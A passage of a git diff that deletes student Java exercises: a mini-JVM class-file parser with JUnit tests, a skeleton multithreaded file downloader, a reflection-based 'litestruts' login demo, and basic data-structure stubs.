-		buffer.append(name).append(":").append(desc).append("\n");
-		
-		buffer.append(this.codeAttr.toString(pool));
-		
-		return buffer.toString();
-	}
-	
-	public static Method parse(ClassFile clzFile, ByteCodeIterator iter){
-		return null;
-		
-	}
-
-	public ByteCodeCommand[] getCmds() {		
-		return this.getCodeAttr().getCmds();
-	}
-}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/print/ClassFilePrinter.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/print/ClassFilePrinter.java
deleted file mode 100644
index 14407bacbe..0000000000
--- a/group23/563253496/week7_jvm/src/com/coderising/jvm/print/ClassFilePrinter.java
+++ /dev/null
@@ -1,54 +0,0 @@
-package com.coderising.jvm.print;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ClassInfo;
-import com.coderising.jvm.constant.ConstantInfo;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.FieldRefInfo;
-import com.coderising.jvm.constant.MethodRefInfo;
-import com.coderising.jvm.constant.NameAndTypeInfo;
-
-import com.coderising.jvm.constant.StringInfo;
-import com.coderising.jvm.constant.UTF8Info;
-import com.coderising.jvm.loader.ClassFileLoader;
-
-public class ClassFilePrinter {
-	ClassFile clzFile = null;
-	public ClassFilePrinter(ClassFile clzFile){
-		this.clzFile = clzFile;
-	}
-	
-	public void print(){
-		
-		if(clzFile.getAccessFlag().isPublicClass()){
-			System.out.println("Access flag : public  ");
-		}
-		System.out.println("Class Name:"+ clzFile.getClassName());
-		
-		System.out.println("Super Class Name:"+ clzFile.getSuperClassName());
-		
-		System.out.println("minor version:" + clzFile.getMinorVersion());
-		
-		System.out.println("major version:" + clzFile.getMinorVersion());
-		
-		ConstantPoolPrinter cnstPoolPrinter = new ConstantPoolPrinter(clzFile.getConstantPool());
-		cnstPoolPrinter.print();
-		
-		
-		
-		
-	}
-	
-	public static void main(String[] args){
-		String path = "C:\\Users\\liuxin\\git\\coding2017\\liuxin\\mini-jvm\\bin";
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path);
-		String className = "com.coderising.jvm.test.EmployeeV1";
-		
-		ClassFile clzFile = loader.loadClass(className);
-		
-		ClassFilePrinter printer  = new ClassFilePrinter(clzFile);
-		
-		printer.print();
-	}
-}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/print/ConstantPoolPrinter.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/print/ConstantPoolPrinter.java
deleted file mode 100644
index 028161adc7..0000000000
--- a/group23/563253496/week7_jvm/src/com/coderising/jvm/print/ConstantPoolPrinter.java
+++ /dev/null
@@ -1,25 +0,0 @@
-package com.coderising.jvm.print;
-
-import com.coderising.jvm.constant.ClassInfo;
-import com.coderising.jvm.constant.ConstantInfo;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.FieldRefInfo;
-import com.coderising.jvm.constant.MethodRefInfo;
-import com.coderising.jvm.constant.NameAndTypeInfo;
-import com.coderising.jvm.constant.StringInfo;
-import com.coderising.jvm.constant.UTF8Info;
-
-public class ConstantPoolPrinter {
-	ConstantPool pool;
-	ConstantPoolPrinter(ConstantPool pool){
-		this.pool = pool;
-	}
-	public void print(){
-		
-		System.out.println("Constant Pool:");
-		
-		
-		
-		
-	}
-}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java
deleted file mode 100644
index 8f8097325d..0000000000
--- a/group23/563253496/week7_jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java
+++ /dev/null
@@ -1,354 +0,0 @@
-package com.coderising.jvm.test;
-
-import java.util.List;
-
-import org.junit.After;
-import  org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.clz.ClassIndex;
-import com.coderising.jvm.cmd.BiPushCmd;
-import com.coderising.jvm.cmd.ByteCodeCommand;
-import com.coderising.jvm.cmd.OneOperandCmd;
-import com.coderising.jvm.cmd.TwoOperandCmd;
-import com.coderising.jvm.constant.ClassInfo;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.MethodRefInfo;
-import com.coderising.jvm.constant.NameAndTypeInfo;
-import com.coderising.jvm.constant.UTF8Info;
-import com.coderising.jvm.field.Field;
-import com.coderising.jvm.loader.ClassFileLoader;
-import com.coderising.jvm.method.Method;
-
-
-
-
-
-public class ClassFileloaderTest {
-
-	
-	private static final String FULL_QUALIFIED_CLASS_NAME = "com/coderising/jvm/test/EmployeeV1";
-	
-	static String path1 = "D:\\mygit\\coding2017\\group23\\563253496\\week7_jvm\\out\\production\\week7_jvm";
-	static String path2 = "C:\temp";
-	
-	static ClassFile clzFile = null;
-	static {
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		String className = "com.coderising.jvm.test.EmployeeV1";
-		
-		clzFile = loader.loadClass(className);
-		
-	}
-	
-	
-	@Before
-	public void setUp() throws Exception {		 
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-	
-	@Test
-	public void testClassPath(){		
-		
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		loader.addClassPath(path2);
-		
-		String clzPath = loader.getClassPath();
-		
-		Assert.assertEquals(path1+";"+path2,clzPath);
-		
-	}
-	
-	@Test
-	public void testClassFileLength() {		
-		
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		
-		String className = "com.coderising.jvm.test.EmployeeV1";
-		
-		byte[] byteCodes = loader.readBinaryCode(className);
-		
-		// 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
-		Assert.assertEquals(1056, byteCodes.length);
-		
-	}
-	
-	
-    @Test	
-	public void testMagicNumber(){
-    	ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		String className = "com.coderising.jvm.test.EmployeeV1";
-		byte[] byteCodes = loader.readBinaryCode(className);
-		byte[] codes = new byte[]{byteCodes[0],byteCodes[1],byteCodes[2],byteCodes[3]};
-		
-		
-		String acctualValue = this.byteToHexString(codes);
-		
-		Assert.assertEquals("cafebabe", acctualValue);
-	}
-    
-    
-    
-   	private String byteToHexString(byte[] codes ){
-   		StringBuffer buffer = new StringBuffer();
-   		for(int i=0;i<codes.length;i++){
-   			byte b = codes[i];
-   			int value = b & 0xFF;
-   			String strHex = Integer.toHexString(value);
-   			if(strHex.length()< 2){
-   				strHex = "0" + strHex;
-   			}		
-   			buffer.append(strHex);
-   		}
-   		return buffer.toString();
-   	}
-    
-    /**
-     * ----------------------------------------------------------------------
-     */
-    
-    
-    @Test
-    public void testVersion(){    			
-		
-		Assert.assertEquals(0, clzFile.getMinorVersion());
-		Assert.assertEquals(52, clzFile.getMajorVersion());
-		
-    }
-    
-    @Test
-    public void testConstantPool(){
-    	
-
-		ConstantPool pool = clzFile.getConstantPool();
-		
-		Assert.assertEquals(53, pool.getSize());
-	
-		{
-			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(1);
-			Assert.assertEquals(2, clzInfo.getUtf8Index());
-			
-			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(2);
-			Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, utf8Info.getValue());
-		}
-		{
-			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(3);
-			Assert.assertEquals(4, clzInfo.getUtf8Index());
-			
-			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(4);
-			Assert.assertEquals("java/lang/Object", utf8Info.getValue());
-		}
-		{
-			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(5);
-			Assert.assertEquals("name", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(6);
-			Assert.assertEquals("Ljava/lang/String;", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(7);
-			Assert.assertEquals("age", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(8);
-			Assert.assertEquals("I", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(9);
-			Assert.assertEquals("<init>", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(10);
-			Assert.assertEquals("(Ljava/lang/String;I)V", utf8Info.getValue());
-			
-			utf8Info = (UTF8Info) pool.getConstantInfo(11);
-			Assert.assertEquals("Code", utf8Info.getValue());
-		}
-		
-		{
-			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(12);
-			Assert.assertEquals(3, methodRef.getClassInfoIndex());
-			Assert.assertEquals(13, methodRef.getNameAndTypeIndex());
-		}
-		
-		{
-			NameAndTypeInfo nameAndType = (NameAndTypeInfo) pool.getConstantInfo(13);
-			Assert.assertEquals(9, nameAndType.getIndex1());
-			Assert.assertEquals(14, nameAndType.getIndex2());
-		}
-		//抽查几个吧
-		{
-			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(45);
-			Assert.assertEquals(1, methodRef.getClassInfoIndex());
-			Assert.assertEquals(46, methodRef.getNameAndTypeIndex());
-		}
-		
-		{
-			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(53);
-			Assert.assertEquals("EmployeeV1.java", utf8Info.getValue());
-		}
-    }
-    @Test
-    public void testClassIndex(){
-    	
-    	ClassIndex clzIndex = clzFile.getClzIndex();
-    	ClassInfo thisClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getThisClassIndex());
-    	ClassInfo superClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getSuperClassIndex());
-    	
-    	
-    	Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, thisClassInfo.getClassName());
-    	Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
-    }
-
-    /**
-     * 下面是第三次JVM课应实现的测试用例
-     */
-    @Test
-    public void testReadFields(){
-   
-    	List<Field> fields = clzFile.getFields();
-    	Assert.assertEquals(2, fields.size());
-    	{
-    		Field f = fields.get(0);
-    		Assert.assertEquals("name:Ljava/lang/String;", f.toString());
-    	}
-    	{
-    		Field f = fields.get(1);
-    		Assert.assertEquals("age:I", f.toString());
-    	}
-    }
-    @Test
-    public void testMethods(){
-   
-    	List<Method> methods = clzFile.getMethods();
-    	ConstantPool pool = clzFile.getConstantPool();
-    	
-    	{
-    		Method m = methods.get(0);    		
-    		assertMethodEquals(pool,m,
-    				"<init>",
-    				"(Ljava/lang/String;I)V",
-    				"2ab7000c2a2bb5000f2a1cb50011b1");
-    		
-    	}
-    	{
-    		Method m = methods.get(1);    
-    		assertMethodEquals(pool,m,
-    				"setName",
-    				"(Ljava/lang/String;)V",
-    				"2a2bb5000fb1");
-    		
-    	}
-    	{
-    		Method m = methods.get(2);    
-    		assertMethodEquals(pool,m,
-    				"setAge",
-    				"(I)V",
-    				"2a1bb50011b1");
-    	}
-    	{
-    		Method m = methods.get(3); 
-    		assertMethodEquals(pool,m,
-    				"sayHello",
-    				"()V",
-    				"b2001c1222b60024b1");
-    		
-    	}
-    	{
-    		Method m = methods.get(4);    
-    		assertMethodEquals(pool,m,
-    				"main",
-    				"([Ljava/lang/String;)V",
-    				"bb000159122b101db7002d4c2bb6002fb1");
-    	}
-    }
-    
-    private void assertMethodEquals(ConstantPool pool,Method m , String expectedName, String expectedDesc,String expectedCode){
-    	String methodName = pool.getUTF8String(m.getNameIndex());
-		String methodDesc = pool.getUTF8String(m.getDescriptorIndex());    		
-		String code = m.getCodeAttr().getCode();
-		Assert.assertEquals(expectedName, methodName);
-		Assert.assertEquals(expectedDesc, methodDesc);
-		Assert.assertEquals(expectedCode, code);
-    }
-    
-    @Test
-    public void testByteCodeCommand(){
-    	{
-	    	Method initMethod = this.clzFile.getMethod("<init>", "(Ljava/lang/String;I)V");
-	    	ByteCodeCommand [] cmds = initMethod.getCmds();
-	    	
-	    	assertOpCodeEquals("0: aload_0", cmds[0]);
-	    	assertOpCodeEquals("1: invokespecial #12", cmds[1]);
-	    	assertOpCodeEquals("4: aload_0", cmds[2]);
-	    	assertOpCodeEquals("5: aload_1", cmds[3]);
-	    	assertOpCodeEquals("6: putfield #15", cmds[4]);
-	    	assertOpCodeEquals("9: aload_0", cmds[5]);
-	    	assertOpCodeEquals("10: iload_2", cmds[6]);
-	    	assertOpCodeEquals("11: putfield #17", cmds[7]);
-	    	assertOpCodeEquals("14: return", cmds[8]);
-    	}
-    	
-    	{
-	    	Method setNameMethod = this.clzFile.getMethod("setName", "(Ljava/lang/String;)V");
-	    	ByteCodeCommand [] cmds = setNameMethod.getCmds();
-	    	
-	    	assertOpCodeEquals("0: aload_0", cmds[0]);
-	    	assertOpCodeEquals("1: aload_1", cmds[1]);
-	    	assertOpCodeEquals("2: putfield #15", cmds[2]);
-	    	assertOpCodeEquals("5: return", cmds[3]);
-	    	
-    	}
-    	
-    	{
-	    	Method sayHelloMethod = this.clzFile.getMethod("sayHello", "()V");
-	    	ByteCodeCommand [] cmds = sayHelloMethod.getCmds();
-	    	
-	    	assertOpCodeEquals("0: getstatic #28", cmds[0]);
-	    	assertOpCodeEquals("3: ldc #34", cmds[1]);
-	    	assertOpCodeEquals("5: invokevirtual #36", cmds[2]);
-	    	assertOpCodeEquals("8: return", cmds[3]);
-	    	
-    	}
-    	
-    	{
-	    	Method mainMethod = this.clzFile.getMainMethod();
-	    	
-	    	ByteCodeCommand [] cmds = mainMethod.getCmds();
-	    	
-	    	assertOpCodeEquals("0: new #1", cmds[0]);
-	    	assertOpCodeEquals("3: dup", cmds[1]);
-	    	assertOpCodeEquals("4: ldc #43", cmds[2]);
-	    	assertOpCodeEquals("6: bipush 29", cmds[3]);
-	    	assertOpCodeEquals("8: invokespecial #45", cmds[4]);
-	    	assertOpCodeEquals("11: astore_1", cmds[5]);
-	    	assertOpCodeEquals("12: aload_1", cmds[6]);
-	    	assertOpCodeEquals("13: invokevirtual #47", cmds[7]);
-	    	assertOpCodeEquals("16: return", cmds[8]);
-    	}
-    	
-    }
-   
-    private void assertOpCodeEquals(String expected, ByteCodeCommand cmd){
-    	
-    	String acctual = cmd.getOffset()+": "+cmd.getReadableCodeText();
-    	
-    	if(cmd instanceof OneOperandCmd){
-    		if(cmd instanceof BiPushCmd){
-    			acctual += " " + ((OneOperandCmd)cmd).getOperand();
-    		} else{
-    			acctual += " #" + ((OneOperandCmd)cmd).getOperand();
-    		}
-    	}
-    	if(cmd instanceof TwoOperandCmd){
-    		acctual += " #" + ((TwoOperandCmd)cmd).getIndex();
-    	}
-    	Assert.assertEquals(expected, acctual);
-    }
-
-}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/test/EmployeeV1.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/test/EmployeeV1.java
deleted file mode 100644
index 12e3d7efdd..0000000000
--- a/group23/563253496/week7_jvm/src/com/coderising/jvm/test/EmployeeV1.java
+++ /dev/null
@@ -1,28 +0,0 @@
-package com.coderising.jvm.test;
-
-public class EmployeeV1 {
-	
-	
-	private String name;
-    private int age;
-    
-    public EmployeeV1(String name, int age) {
-        this.name = name;
-        this.age = age;        
-    }    
-
-    public void setName(String name) {
-        this.name = name;
-    }
-    public void setAge(int age){
-    	this.age = age;
-    }
-    public void sayHello() {        
-    	System.out.println("Hello , this is class Employee ");    	
-    }
-    public static void main(String[] args){
-    	EmployeeV1 p = new EmployeeV1("Andy",29);
-    	p.sayHello();    
-    	
-    }
-}
\ No newline at end of file
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/util/Util.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/util/Util.java
deleted file mode 100644
index 0c4cc8c57c..0000000000
--- a/group23/563253496/week7_jvm/src/com/coderising/jvm/util/Util.java
+++ /dev/null
@@ -1,24 +0,0 @@
-package com.coderising.jvm.util;
-
-public class Util {
-	public static int byteToInt(byte[] codes){
-    	String s1 = byteToHexString(codes);
-    	return Integer.valueOf(s1, 16).intValue();
-    }
-    
-    
-    
-	public static String byteToHexString(byte[] codes ){
-		StringBuffer buffer = new StringBuffer();
-		for(int i=0;i<codes.length;i++){
-			byte b = codes[i];
-			int value = b & 0xFF;
-			String strHex = Integer.toHexString(value);
-			if(strHex.length()< 2){
-				strHex = "0" + strHex;
-			}		
-			buffer.append(strHex);
-		}
-		return buffer.toString();
-	}
-}
diff --git a/group23/563253496/week7_stack/src/com/coderising/download/DownloadThread.java b/group23/563253496/week7_stack/src/com/coderising/download/DownloadThread.java
deleted file mode 100644
index 900a3ad358..0000000000
--- a/group23/563253496/week7_stack/src/com/coderising/download/DownloadThread.java
+++ /dev/null
@@ -1,20 +0,0 @@
-package com.coderising.download;
-
-import com.coderising.download.api.Connection;
-
-public class DownloadThread extends Thread{
-
-	Connection conn;
-	int startPos;
-	int endPos;
-
-	public DownloadThread( Connection conn, int startPos, int endPos){
-		
-		this.conn = conn;		
-		this.startPos = startPos;
-		this.endPos = endPos;
-	}
-	public void run(){	
-		
-	}
-}
diff --git a/group23/563253496/week7_stack/src/com/coderising/download/FileDownloader.java b/group23/563253496/week7_stack/src/com/coderising/download/FileDownloader.java
deleted file mode 100644
index c3c8a3f27d..0000000000
--- a/group23/563253496/week7_stack/src/com/coderising/download/FileDownloader.java
+++ /dev/null
@@ -1,73 +0,0 @@
-package com.coderising.download;
-
-import com.coderising.download.api.Connection;
-import com.coderising.download.api.ConnectionException;
-import com.coderising.download.api.ConnectionManager;
-import com.coderising.download.api.DownloadListener;
-
-
-public class FileDownloader {
-	
-	String url;
-	
-	DownloadListener listener;
-	
-	ConnectionManager cm;
-	
-
-	public FileDownloader(String _url) {
-		this.url = _url;
-		
-	}
-	
-	public void execute(){
-		// 在这里实现你的代码， 注意： 需要用多线程实现下载
-		// 这个类依赖于其他几个接口, 你需要写这几个接口的实现代码
-		// (1) ConnectionManager , 可以打开一个连接，通过Connection可以读取其中的一段（用startPos, endPos来指定）
-		// (2) DownloadListener, 由于是多线程下载， 调用这个类的客户端不知道什么时候结束，所以你需要实现当所有
-		//     线程都执行完以后， 调用listener的notifiedFinished方法， 这样客户端就能收到通知。
-		// 具体的实现思路：
-		// 1. 需要调用ConnectionManager的open方法打开连接， 然后通过Connection.getContentLength方法获得文件的长度
-		// 2. 至少启动3个线程下载，  注意每个线程需要先调用ConnectionManager的open方法
-		// 然后调用read方法， read方法中有读取文件的开始位置和结束位置的参数， 返回值是byte[]数组
-		// 3. 把byte数组写入到文件中
-		// 4. 所有的线程都下载完成以后， 需要调用listener的notifiedFinished方法
-		
-		// 下面的代码是示例代码， 也就是说只有一个线程， 你需要改造成多线程的。
-		Connection conn = null;
-		try {
-			
-			conn = cm.open(this.url);
-			
-			int length = conn.getContentLength();	
-			
-			new DownloadThread(conn,0,length-1).start();
-			
-		} catch (ConnectionException e) {			
-			e.printStackTrace();
-		}finally{
-			if(conn != null){
-				conn.close();
-			}
-		}
-		
-		
-		
-		
-	}
-	
-	public void setListener(DownloadListener listener) {
-		this.listener = listener;
-	}
-
-	
-	
-	public void setConnectionManager(ConnectionManager ucm){
-		this.cm = ucm;
-	}
-	
-	public DownloadListener getListener(){
-		return this.listener;
-	}
-	
-}
diff --git a/group23/563253496/week7_stack/src/com/coderising/download/FileDownloaderTest.java b/group23/563253496/week7_stack/src/com/coderising/download/FileDownloaderTest.java
deleted file mode 100644
index 4ff7f46ae0..0000000000
--- a/group23/563253496/week7_stack/src/com/coderising/download/FileDownloaderTest.java
+++ /dev/null
@@ -1,59 +0,0 @@
-package com.coderising.download;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-
-import com.coderising.download.api.ConnectionManager;
-import com.coderising.download.api.DownloadListener;
-import com.coderising.download.impl.ConnectionManagerImpl;
-
-public class FileDownloaderTest {
-	boolean downloadFinished = false;
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	@Test
-	public void testDownload() {
-		
-		String url = "http://localhost:8080/test.jpg";
-		
-		FileDownloader downloader = new FileDownloader(url);
-
-	
-		ConnectionManager cm = new ConnectionManagerImpl();
-		downloader.setConnectionManager(cm);
-		
-		downloader.setListener(new DownloadListener() {
-			@Override
-			public void notifyFinished() {
-				downloadFinished = true;
-			}
-
-		});
-
-		
-		downloader.execute();
-		
-		// 等待多线程下载程序执行完毕
-		while (!downloadFinished) {
-			try {
-				System.out.println("还没有下载完成，休眠五秒");
-				//休眠5秒
-				Thread.sleep(5000);
-			} catch (InterruptedException e) {				
-				e.printStackTrace();
-			}
-		}
-		System.out.println("下载完成！");
-		
-		
-
-	}
-
-}
diff --git a/group23/563253496/week7_stack/src/com/coderising/download/api/Connection.java b/group23/563253496/week7_stack/src/com/coderising/download/api/Connection.java
deleted file mode 100644
index 0957eaf7f4..0000000000
--- a/group23/563253496/week7_stack/src/com/coderising/download/api/Connection.java
+++ /dev/null
@@ -1,23 +0,0 @@
-package com.coderising.download.api;
-
-import java.io.IOException;
-
-public interface Connection {
-	/**
-	 * 给定开始和结束位置， 读取数据， 返回值是字节数组
-	 * @param startPos 开始位置， 从0开始
-	 * @param endPos 结束位置
-	 * @return
-	 */
-	public byte[] read(int startPos,int endPos) throws IOException;
-	/**
-	 * 得到数据内容的长度
-	 * @return
-	 */
-	public int getContentLength();
-	
-	/**
-	 * 关闭连接
-	 */
-	public void close();
-}
diff --git a/group23/563253496/week7_stack/src/com/coderising/download/api/ConnectionException.java b/group23/563253496/week7_stack/src/com/coderising/download/api/ConnectionException.java
deleted file mode 100644
index 1551a80b3d..0000000000
--- a/group23/563253496/week7_stack/src/com/coderising/download/api/ConnectionException.java
+++ /dev/null
@@ -1,5 +0,0 @@
-package com.coderising.download.api;
-
-public class ConnectionException extends Exception {
-
-}
diff --git a/group23/563253496/week7_stack/src/com/coderising/download/api/ConnectionManager.java b/group23/563253496/week7_stack/src/com/coderising/download/api/ConnectionManager.java
deleted file mode 100644
index ce045393b1..0000000000
--- a/group23/563253496/week7_stack/src/com/coderising/download/api/ConnectionManager.java
+++ /dev/null
@@ -1,10 +0,0 @@
-package com.coderising.download.api;
-
-public interface ConnectionManager {
-	/**
-	 * 给定一个url , 打开一个连接
-	 * @param url
-	 * @return
-	 */
-	public Connection open(String url) throws ConnectionException;	
-}
diff --git a/group23/563253496/week7_stack/src/com/coderising/download/api/DownloadListener.java b/group23/563253496/week7_stack/src/com/coderising/download/api/DownloadListener.java
deleted file mode 100644
index bf9807b307..0000000000
--- a/group23/563253496/week7_stack/src/com/coderising/download/api/DownloadListener.java
+++ /dev/null
@@ -1,5 +0,0 @@
-package com.coderising.download.api;
-
-public interface DownloadListener {
-	public void notifyFinished();
-}
diff --git a/group23/563253496/week7_stack/src/com/coderising/download/impl/ConnectionImpl.java b/group23/563253496/week7_stack/src/com/coderising/download/impl/ConnectionImpl.java
deleted file mode 100644
index 36a9d2ce15..0000000000
--- a/group23/563253496/week7_stack/src/com/coderising/download/impl/ConnectionImpl.java
+++ /dev/null
@@ -1,27 +0,0 @@
-package com.coderising.download.impl;
-
-import java.io.IOException;
-
-import com.coderising.download.api.Connection;
-
-public class ConnectionImpl implements Connection{
-
-	@Override
-	public byte[] read(int startPos, int endPos) throws IOException {
-		
-		return null;
-	}
-
-	@Override
-	public int getContentLength() {
-		
-		return 0;
-	}
-
-	@Override
-	public void close() {
-		
-		
-	}
-
-}
diff --git a/group23/563253496/week7_stack/src/com/coderising/download/impl/ConnectionManagerImpl.java b/group23/563253496/week7_stack/src/com/coderising/download/impl/ConnectionManagerImpl.java
deleted file mode 100644
index 172371dd55..0000000000
--- a/group23/563253496/week7_stack/src/com/coderising/download/impl/ConnectionManagerImpl.java
+++ /dev/null
@@ -1,15 +0,0 @@
-package com.coderising.download.impl;
-
-import com.coderising.download.api.Connection;
-import com.coderising.download.api.ConnectionException;
-import com.coderising.download.api.ConnectionManager;
-
-public class ConnectionManagerImpl implements ConnectionManager {
-
-	@Override
-	public Connection open(String url) throws ConnectionException {
-		
-		return null;
-	}
-
-}
diff --git a/group23/563253496/week7_stack/src/com/coderising/litestruts/LoginAction.java b/group23/563253496/week7_stack/src/com/coderising/litestruts/LoginAction.java
deleted file mode 100644
index dcdbe226ed..0000000000
--- a/group23/563253496/week7_stack/src/com/coderising/litestruts/LoginAction.java
+++ /dev/null
@@ -1,39 +0,0 @@
-package com.coderising.litestruts;
-
-/**
- * 这是一个用来展示登录的业务类， 其中的用户名和密码都是硬编码的。
- * @author liuxin
- *
- */
-public class LoginAction{
-    private String name ;
-    private String password;
-    private String message;
-
-    public String getName() {
-        return name;
-    }
-
-    public String getPassword() {
-        return password;
-    }
-
-    public String execute(){
-            if("test".equals(name) && "1234".equals(password)){
-                this.message = "login successful";
-                return "success";
-            }
-            this.message = "login failed,please check your user/pwd";
-            return "fail";
-    }
-
-    public void setName(String name){
-        this.name = name;
-    }
-    public void setPassword(String password){
-        this.password = password;
-    }
-    public String getMessage(){
-        return this.message;
-    }
-}
diff --git a/group23/563253496/week7_stack/src/com/coderising/litestruts/Struts.java b/group23/563253496/week7_stack/src/com/coderising/litestruts/Struts.java
deleted file mode 100644
index 85e2e22de3..0000000000
--- a/group23/563253496/week7_stack/src/com/coderising/litestruts/Struts.java
+++ /dev/null
@@ -1,34 +0,0 @@
-package com.coderising.litestruts;
-
-import java.util.Map;
-
-
-
-public class Struts {
-
-    public static View runAction(String actionName, Map<String,String> parameters) {
-
-        /*
-         
-		0. 读取配置文件struts.xml
- 		
- 		1. 根据actionName找到相对应的class ， 例如LoginAction,   通过反射实例化（创建对象）
-		据parameters中的数据，调用对象的setter方法， 例如parameters中的数据是 
-		("name"="test" ,  "password"="1234") ,     	
-		那就应该调用 setName和setPassword方法
-		
-		2. 通过反射调用对象的exectue 方法， 并获得返回值，例如"success"
-		
-		3. 通过反射找到对象的所有getter方法（例如 getMessage）,  
-		通过反射来调用， 把值和属性形成一个HashMap , 例如 {"message":  "登录成功"} ,  
-		放到View对象的parameters
-		
-		4. 根据struts.xml中的 <result> 配置,以及execute的返回值，  确定哪一个jsp，  
-		放到View对象的jsp字段中。
-        
-        */
-    	
-    	return null;
-    }    
-
-}
diff --git a/group23/563253496/week7_stack/src/com/coderising/litestruts/StrutsTest.java b/group23/563253496/week7_stack/src/com/coderising/litestruts/StrutsTest.java
deleted file mode 100644
index b8c81faf3c..0000000000
--- a/group23/563253496/week7_stack/src/com/coderising/litestruts/StrutsTest.java
+++ /dev/null
@@ -1,43 +0,0 @@
-package com.coderising.litestruts;
-
-import java.util.HashMap;
-import java.util.Map;
-
-import org.junit.Assert;
-import org.junit.Test;
-
-
-
-
-
-public class StrutsTest {
-
-	@Test
-	public void testLoginActionSuccess() {
-		
-		String actionName = "login";
-        
-		Map<String,String> params = new HashMap<String,String>();
-        params.put("name","test");
-        params.put("password","1234");
-        
-        
-        View view  = Struts.runAction(actionName,params);        
-        
-        Assert.assertEquals("/jsp/homepage.jsp", view.getJsp());
-        Assert.assertEquals("login successful", view.getParameters().get("message"));
-	}
-
-	@Test
-	public void testLoginActionFailed() {
-		String actionName = "login";
-		Map<String,String> params = new HashMap<String,String>();
-        params.put("name","test");
-        params.put("password","123456"); //密码和预设的不一致
-        
-        View view  = Struts.runAction(actionName,params);        
-        
-        Assert.assertEquals("/jsp/showLogin.jsp", view.getJsp());
-        Assert.assertEquals("login failed,please check your user/pwd", view.getParameters().get("message"));
-	}
-}
diff --git a/group23/563253496/week7_stack/src/com/coderising/litestruts/View.java b/group23/563253496/week7_stack/src/com/coderising/litestruts/View.java
deleted file mode 100644
index 07df2a5dab..0000000000
--- a/group23/563253496/week7_stack/src/com/coderising/litestruts/View.java
+++ /dev/null
@@ -1,23 +0,0 @@
-package com.coderising.litestruts;
-
-import java.util.Map;
-
-public class View {
-	private String jsp;
-	private Map parameters;
-	
-	public String getJsp() {
-		return jsp;
-	}
-	public View setJsp(String jsp) {
-		this.jsp = jsp;
-		return this;
-	}
-	public Map getParameters() {
-		return parameters;
-	}
-	public View setParameters(Map parameters) {
-		this.parameters = parameters;
-		return this;
-	}
-}
diff --git a/group23/563253496/week7_stack/src/com/coding/basic/BinaryTreeNode.java b/group23/563253496/week7_stack/src/com/coding/basic/BinaryTreeNode.java
deleted file mode 100644
index d7ac820192..0000000000
--- a/group23/563253496/week7_stack/src/com/coding/basic/BinaryTreeNode.java
+++ /dev/null
@@ -1,32 +0,0 @@
-package com.coding.basic;
-
-public class BinaryTreeNode {
-	
-	private Object data;
-	private BinaryTreeNode left;
-	private BinaryTreeNode right;
-	
-	public Object getData() {
-		return data;
-	}
-	public void setData(Object data) {
-		this.data = data;
-	}
-	public BinaryTreeNode getLeft() {
-		return left;
-	}
-	public void setLeft(BinaryTreeNode left) {
-		this.left = left;
-	}
-	public BinaryTreeNode getRight() {
-		return right;
-	}
-	public void setRight(BinaryTreeNode right) {
-		this.right = right;
-	}
-	
-	public BinaryTreeNode insert(Object o){
-		return  null;
-	}
-	
-}
diff --git a/group23/563253496/week7_stack/src/com/coding/basic/Iterator.java b/group23/563253496/week7_stack/src/com/coding/basic/Iterator.java
deleted file mode 100644
index 06ef6311b2..0000000000
--- a/group23/563253496/week7_stack/src/com/coding/basic/Iterator.java
+++ /dev/null
@@ -1,7 +0,0 @@
-package com.coding.basic;
-
-public interface Iterator {
-	public boolean hasNext();
-	public Object next();
-
-}
diff --git a/group23/563253496/week7_stack/src/com/coding/basic/List.java b/group23/563253496/week7_stack/src/com/coding/basic/List.java
deleted file mode 100644
index 10d13b5832..0000000000
--- a/group23/563253496/week7_stack/src/com/coding/basic/List.java
+++ /dev/null
@@ -1,9 +0,0 @@
-package com.coding.basic;
-
